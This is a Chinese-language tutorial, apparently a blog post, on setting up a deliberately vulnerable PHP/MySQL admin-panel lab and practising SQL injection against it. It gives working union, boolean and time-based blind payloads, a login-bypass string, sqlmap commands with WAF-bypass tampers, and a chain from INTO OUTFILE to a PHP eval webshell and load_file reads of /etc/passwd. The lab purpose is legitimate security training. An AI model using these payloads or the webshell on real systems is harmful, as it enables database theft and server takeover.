简介:这份资源是一套存在SQL注入漏洞的网站源码,面向正在学习Web安全、需要动手复现注入攻击的初学者与进阶者,可用于本地或空间搭建靶场环境,练习后台注入的探测与利用思路。压缩包共844个文件,约4.95MB,以291个php脚本为核心业务与后台逻辑,配合106个html页面、67个js脚本、16个css样式及1个sql数据库文件构成完整站点,另有251个gif、46个png、26个jpg等图片素材和7个swf动画,目录结构接近真实建站项目。资源描述中给出了安装入口、后台目录改名、member目录取舍及install目录清理等部署提示,便于快速跑通环境。目前已有826人学习下载,适合想通过真实漏洞代码理解注入成因、验证防护手段的安全学习者参考。
1. 拿到 mysql后台注入靶场源码.rar 之后:先想清楚它到底能帮你练什么
很多人拿到mysql后台注入靶场源码.rar的第一反应是解压、找安装说明、丢进 web 根目录跑起来。但真正决定这套靶场能不能帮你提升的,不是它能不能跑,而是你打算用它练什么。后台注入和普通注入靶场最大的区别在于:它模拟的是「已经拿到后台入口或后台表单」之后的注入场景,比如登录框、搜索框、订单查询、用户管理列表。这类场景在真实业务里往往权限更高、数据更敏感,注入成功后能直接读管理员表、拖库、甚至写文件。所以这套源码的价值不在于「又一个 sqli-labs」,而在于让你在接近真实后台的交互里,把手工注入、sqlmap 联动、盲注判断、WAF 绕过思路串成一条完整链路。适合已经会基础 SQL 语法、能看懂 PHP 与 MySQL 交互、想从「会跑工具」进阶到「能自己判断注入点类型」的人。如果你连mysql安装配置教程都还没走完,建议先把本地 MySQL 跑通再回来,否则后面全是玄学报错。
2. 把靶场跑起来:环境、数据库与最小验证
2.1 选型理由:为什么用 PHP + MySQL 而不是容器一键包
这套源码大概率是 PHP 写的传统后台,配套一个.sql文件。常见做法是用 phpStudy、XAMPP 或者 Linux 上手动装php+mysql+apache/nginx。我不推荐一上来就用 Docker 封装的靶场镜像,原因有两个:第一,后台注入的很多细节(比如magic_quotes、字符集、报错回显)跟 PHP 版本和 MySQL 配置强相关,容器里你改起来不直观;第二,手动配一次环境,你会被迫理解mysql安装、mysql设置默认值、mysql排序规则这些后面排错要用到的点。如果你在 Linux 上,linux安装mysql的流程走一遍,比任何教程都值。
2.2 导入数据库:从 .sql 到可访问的后台
假设你已经把源码解压到/var/www/html/target,数据库文件叫target.sql。先建库再导入:
# 登录 MySQL,注意 -p 后不要跟密码,回车再输 mysql -u root -p # 建库,字符集用 utf8mb4,避免中文乱码 CREATE DATABASE target_db DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci; # 退出后用命令行导入,比 source 更稳 exit mysql -u root -p target_db < /var/www/html/target/target.sql导入完成后,用mysql客户端确认表结构:
USE target_db; SHOW TABLES; -- 重点看 users、admin、orders 这类表 SELECT COUNT(*) FROM users;逻辑说明:utf8mb4是为了兼容后台里可能出现的 emoji 或特殊字符,很多老靶场用utf8会在注入时因为宽字节问题产生误判。参数上,DEFAULT CHARACTER SET和COLLATE要一起写,否则排序规则可能回退到latin1,导致mysql排序结果和预期不一致。导入后如果SHOW TABLES为空,先检查.sql文件里有没有CREATE DATABASE或USE语句,有些源码的导出文件不带建库语句,需要手动指定库名。
2.3 改配置文件:数据库连接与调试开关
PHP 后台一般有个config.php或conn.php,里面写死了数据库账号密码。打开它,把root密码改成你本地 MySQL 的密码:
<?php // 常见配置项,按你本地实际改 $host = '127.0.0.1'; $user = 'root'; $pass = '你的MySQL密码'; // 不要留空,除非你确认 MySQL 允许空密码 $db = 'target_db'; $conn = mysqli_connect($host, $user, $pass, $db); if (!$conn) { die('连接失败: ' . mysqli_connect_error()); } // 调试阶段打开报错,方便看注入回显 ini_set('display_errors', 1); error_reporting(E_ALL); ?>逻辑说明:mysqli_connect的第四个参数是库名,漏写会报No database selected。display_errors在练习阶段必须开,否则盲注时你连 SQL 语法错误都看不到,只能靠猜。参数上,如果 MySQL 是 8.0 以上,默认认证插件是caching_sha2_password,老 PHP 可能连不上,需要在 MySQL 里执行ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '你的密码';。这一步不做,后面会一直卡在error 2002 (hy000): can't connect to local mysql server through socket或认证失败。
2.4 最小验证:确认注入点真的存在
浏览器访问http://127.0.0.1/target/admin/login.php,先正常登录一次,看后台能不能进。然后找带参数的 URL,比如news.php?id=1,手动加单引号:
http://127.0.0.1/target/news.php?id=1'如果页面报You have an error in your SQL syntax,说明注入点存在且回显开启。如果页面正常但内容变了,可能是盲注。如果直接 403 或跳转,检查是不是有简单的addslashes或 WAF 规则。这一步是后面所有练习的基线,基线没跑通,别急着上 sqlmap。
3. 后台注入的四种典型形态与手工验证路径
3.1 数字型与字符型:从报错到联合查询
后台注入最常见的是id=1这种数字型,和name=admin这种字符型。数字型直接id=1 and 1=1和id=1 and 1=2对比页面差异;字符型要先闭合引号,name=admin' and '1'='1。确认存在后,用order by猜列数:
-- 在注入点后拼接,逐步增加数字直到报错 id=1' order by 5 --假设 5 不报错、6 报错,说明当前查询返回 5 列。然后联合查询:
id=-1' union select 1,2,3,4,5 --逻辑说明:id=-1是为了让原查询返回空,页面上直接显示 union 后面的数字位。哪个数字位在页面上出现,就往哪个位置替换成database()、user()、version()。参数上,--后面必须跟一个空格,否则 MySQL 不认注释。如果--被过滤,用#或/* */替代。这一步能拿到库名后,就可以查information_schema.tables找管理员表。
3.2 盲注:布尔与时间,什么时候该放弃手工
后台如果关了报错回显,就只能盲注。布尔盲注靠and length(database())>5这种真假条件看页面差异;时间盲注靠and sleep(3)看响应延迟。手工盲注效率极低,一个库名可能要几百次请求。我的经验是:布尔盲注手工验证前 3 个字符,确认注入类型后立刻交给 sqlmap,不要跟自己较劲。时间盲注更要注意,sleep()在 MySQL 里是秒级,网络抖动容易误判,建议用sleep(2)起步,并且连续测三次取稳定结果。
-- 布尔盲注判断库名长度 id=1' and length(database())=6 -- -- 时间盲注判断第一个字符 id=1' and if(substr(database(),1,1)='t',sleep(3),0) --参数说明:substr的起始位置从 1 开始,不是 0。if的第三个参数写 0 表示条件不成立时不延迟。如果页面响应时间稳定在 3 秒左右,说明条件成立。注意 MySQL 的sleep在union里可能被优化掉,尽量放在and后面。
3.3 后台表单注入:POST 请求怎么测
后台登录框、搜索框大多是 POST。手工测的时候不能只改 URL,要用浏览器开发者工具或者 Burp 改包。以登录框为例,在用户名里填admin' or '1'='1' --,密码随便填。如果直接登录成功,说明存在万能密码注入。更隐蔽的是admin' or sleep(3) --,看响应时间。
# 用 curl 模拟 POST,方便脚本化 curl -X POST http://127.0.0.1/target/admin/login.php \ -d "username=admin' or '1'='1' -- &password=123"逻辑说明:-d后面的内容会被 URL 编码,但单引号和空格在 curl 里通常能直接传。如果服务端做了urldecode或addslashes,需要调整 payload。参数上,--后面的空格在 POST body 里容易被截断,可以用#代替。这一步跑通后,把同样的 payload 丢给 sqlmap 的--data参数,就能自动跑。
3.4 sqlmap 联动:从手工确认到自动化拖库
手工确认注入点后,sqlmap 能省大量时间。但前提是你已经知道注入类型和大致 payload,否则 sqlmap 的启发式扫描可能被简单过滤挡住。
# GET 型注入 sqlmap -u "http://127.0.0.1/target/news.php?id=1" --batch --dbs # POST 型注入,注意 --data 里的参数要完整 sqlmap -u "http://127.0.0.1/target/admin/login.php" \ --data="username=admin&password=123" \ --batch --level=3 --risk=2 --dbs逻辑说明:--batch让所有交互默认选是,适合靶场。--level=3会增加测试的 header 和 payload 类型,--risk=2会加入基于时间的盲注。参数上,如果 sqlmap 跑不出结果但手工能注入,优先检查--data里的参数名是否和实际表单一致,以及有没有 CSRF token 需要带。靶场里常见token字段,sqlmap 可以用--csrf-token指定。
4. 避坑与排查:靶场跑不起来、注入没回显的 5 个血泪经验
4.1 现象:页面空白或 500,日志里是mysqli_connect报错
原因:PHP 版本和 MySQL 认证插件不匹配,或者config.php里的密码没改。解决:先看 PHP 错误日志,确认是连接失败还是语法错误。如果是caching_sha2_password问题,按 2.3 节改认证插件。如果是Access denied,检查 MySQL 用户权限,必要时GRANT ALL ON target_db.* TO 'root'@'localhost';。
4.2 现象:导入 .sql 后中文全是问号
原因:导入时没指定字符集,或者.sql文件本身是latin1导出。解决:重新导入,命令里加--default-character-set=utf8mb4。如果文件本身编码不对,用iconv转一次再导。这个坑不解决,后面注入查出来的管理员密码可能是乱码,白忙一场。
4.3 现象:手工注入有报错,sqlmap 跑不出来
原因:sqlmap 默认的 payload 被靶场的简单过滤拦了,或者注入点在 POST 的某个非标准字段。解决:先用--technique=B只跑布尔盲注,或者--tamper=space2comment绕过空格过滤。如果还是不行,把手工验证成功的完整请求保存为request.txt,用sqlmap -r request.txt跑,这样 header 和 cookie 都带上了。
4.4 现象:时间盲注延迟不稳定,有时 3 秒有时 0.5 秒
原因:MySQL 的sleep被查询缓存或优化器影响,或者本地网络有波动。解决:换用benchmark(1000000,md5('a'))做延迟,或者把sleep放在子查询里。另外,靶场如果开了query_cache,先关掉:SET GLOBAL query_cache_size=0;。这个坑很玄学,连续测三次取中位数更靠谱。
4.5 现象:后台登录成功但注入点找不到
原因:后台很多功能是 AJAX 请求,URL 里看不到参数,实际参数在 POST body 或 JSON 里。解决:打开浏览器开发者工具的 Network 面板,操作一遍后台功能,看 XHR 请求。把请求复制为 curl,再手工测注入。不要只盯着地址栏,后台注入的入口往往藏在api.php这类接口里。
5. 进阶技巧:用这套源码练「注入到提权」的完整链路
跑通基础注入后,这套mysql后台注入靶场源码最大的价值是让你练一条完整链路:从注入点读到管理员密码,登录后台,找上传点,写 webshell,再通过 MySQL 的into outfile直接写文件。这里给一个具体技巧:先确认secure_file_priv的值。
SHOW VARIABLES LIKE 'secure_file_priv';如果结果是空字符串,说明允许任意路径写文件;如果是NULL,写文件这条路直接堵死,别浪费时间。如果是某个目录,只能写到那个目录下。常见做法是:
-- 联合查询写文件,注意路径要有写权限 id=-1' union select 1,'<?php @eval($_POST[cmd]);?>',3,4,5 into outfile '/var/www/html/target/shell.php' --逻辑说明:into outfile要求当前 MySQL 用户有FILE权限,且路径不能是已存在文件。参数上,<?php里的问号可能被 WAF 拦,可以用<?php的十六进制或0x3c3f706870绕过。写进去之后,用菜刀或蚁剑连shell.php,密码是cmd。这一步在真实环境里风险极高,但在靶场里是理解「注入危害上限」的最好方式。
另一个进阶方向是 MySQL 的load_file()读系统文件,比如/etc/passwd。但前提同样是FILE权限和secure_file_priv允许。如果这两个都不行,就回到数据层面:用information_schema把整个库的表名、列名、字段值全部拖出来,练习group_concat和limit分页。我自己的习惯是,每跑通一个靶场,就把从注入到拿 shell 的每一步命令记在一个notes.md里,下次遇到新靶场直接对照。这套源码的数据库结构如果和常见 CMS 接近,你练完一遍,再遇到类似后台就能条件反射地找id参数和admin表。希望帮到你。
本文还有配套的精品资源,点击获取